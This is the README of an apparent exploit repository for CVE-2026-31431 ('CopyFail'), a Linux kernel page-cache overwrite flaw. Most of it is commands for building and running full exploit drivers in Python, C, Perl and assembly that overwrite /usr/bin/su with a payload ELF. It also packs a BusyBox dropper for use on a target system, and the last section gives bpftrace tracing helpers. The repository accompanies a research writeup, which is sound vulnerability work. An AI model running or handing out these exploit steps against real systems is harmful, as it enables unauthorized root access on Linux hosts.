CVE-2026-31431-Copy-Fail/README.md
2026-05-19 17:19:05 +08:00

4.6 KiB
Raw Blame History

CVE-2026-31431: When the Copy Isnt a Copy and the Failure Comes Too Late

Artifacts and scripts for the CopyFail writeup.

Writeup:

Layout

  • proof-of-concept/ contains the primitive-only demos used in the writeup.
  • exploit-scripts/ contains the full exploit implementations in Python, C, Perl, and x86_64 assembly.
  • bpftrace-scripts/ contains the small tracing helpers used during runtime analysis.

Prerequisite

Only the Perl, assembly, and BusyBox artifacts expect an external replacement ELF. In the examples below, that file is named payload.pwnkit.elf, but any filename is fine.

That payload is not generated inside this repository. Build it first by following the payload workflow from the writeup, then place the resulting ELF in the same working directory as the artifact you want to run.

The primitive PoCs and the Python/C exploit drivers are directly runnable as-is.

1. Primitive PoCs

These PoCs are mainly for demonstration in the writeup. They show the overwrite primitive in isolation, not the full replacement-exec workflow.

To run the Python demo, enter the PoC directory and execute the script:

cd proof-of-concept
python3 copyfail_poc.py

To run the C demo, build it first and then execute the resulting binary:

cd proof-of-concept
gcc -Wall -Wextra -O2 -o copyfail_poc copyfail_poc.c
./copyfail_poc

2. Python Exploit

The Python exploit is self-contained and keeps the replacement bytes in the script itself.

Change into the exploit directory and run the default target path:

cd exploit-scripts
python3 exploit.py

If you want a different target basename, pass it as the first argument. To enable per-chunk overwrite logs, set DEBUG=1:

python3 exploit.py su
DEBUG=1 python3 exploit.py su

3. C Exploit

The C exploit is also self-contained. If you want to stage a different replacement, edit PAYLOAD_BYTES in exploit-scripts/exploit.c first.

Build the static (optional) binary like this:

cd exploit-scripts
gcc -static -Wall -Wextra -O2 -o exploit exploit.c -lz

Then run the default target, or pass a different basename. Debug logging is controlled through DEBUG=1:

./exploit
./exploit su
DEBUG=1 ./exploit su

4. Perl Exploit

This version reads an external ELF payload instead of embedding replacement bytes in the script.

Run it from the exploit directory. With no extra arguments, it uses the default target and default payload path:

cd exploit-scripts
perl exploit.pl

If you want to choose both the victim path and the payload ELF explicitly, pass them as arguments. Debug logging is also controlled through DEBUG=1:

perl exploit.pl /usr/bin/su ./payload.pwnkit.elf
DEBUG=1 perl exploit.pl /usr/bin/su ./payload.pwnkit.elf

5. Assembly Exploit

This version also consumes an external ELF payload. In the example below it is named payload.pwnkit.elf, but you can use any filename. If you rename it, update the incbin line in exploit-scripts/exploit.asm to match.

Build the assembly driver with nasm and ld:

cd exploit-scripts
nasm -f elf64 exploit.asm -o exploit.o
ld -o exploit_asm exploit.o

Then run the default target, or pass a full target path:

./exploit_asm
./exploit_asm /usr/bin/su

6. BusyBox Dropper

This packs the assembly driver and an external payload ELF into one BusyBox-compatible runner. The example below uses payload.pwnkit.elf, but any payload filename is fine as long as you pass the same path to the packer.

Generate the dropper from the exploit directory:

cd exploit-scripts
sh mk_busybox_dropper.sh ./exploit_asm ./payload.pwnkit.elf > copyfail-busybox.sh
chmod +x copyfail-busybox.sh

On the target system, run the generated script with BusyBox sh:

busybox sh ./copyfail-busybox.sh /usr/bin/su

7. Bpftrace Helpers

Before running the tracing helpers, check that the relevant symbols are available:

sudo cat /proc/kallsyms | grep -E 'filemap_splice_read|splice_folio_into_pipe|af_alg_sendmsg|extract_iter_to_sg|crypto_authenc_esn_decrypt|scatterwalk_map_and_copy'

To observe file pages entering the splice path, run:

sudo bpftrace ./bpftrace-scripts/bpftrace-filemap-splice.bt

To observe pipe-backed data reaching AF_ALG, run:

sudo bpftrace ./bpftrace-scripts/bpftrace-af-alg-sendmsg.bt

To observe the vulnerable authencesn decrypt callback, run:

sudo bpftrace ./bpftrace-scripts/bpftrace-authencesn-decrypt.bt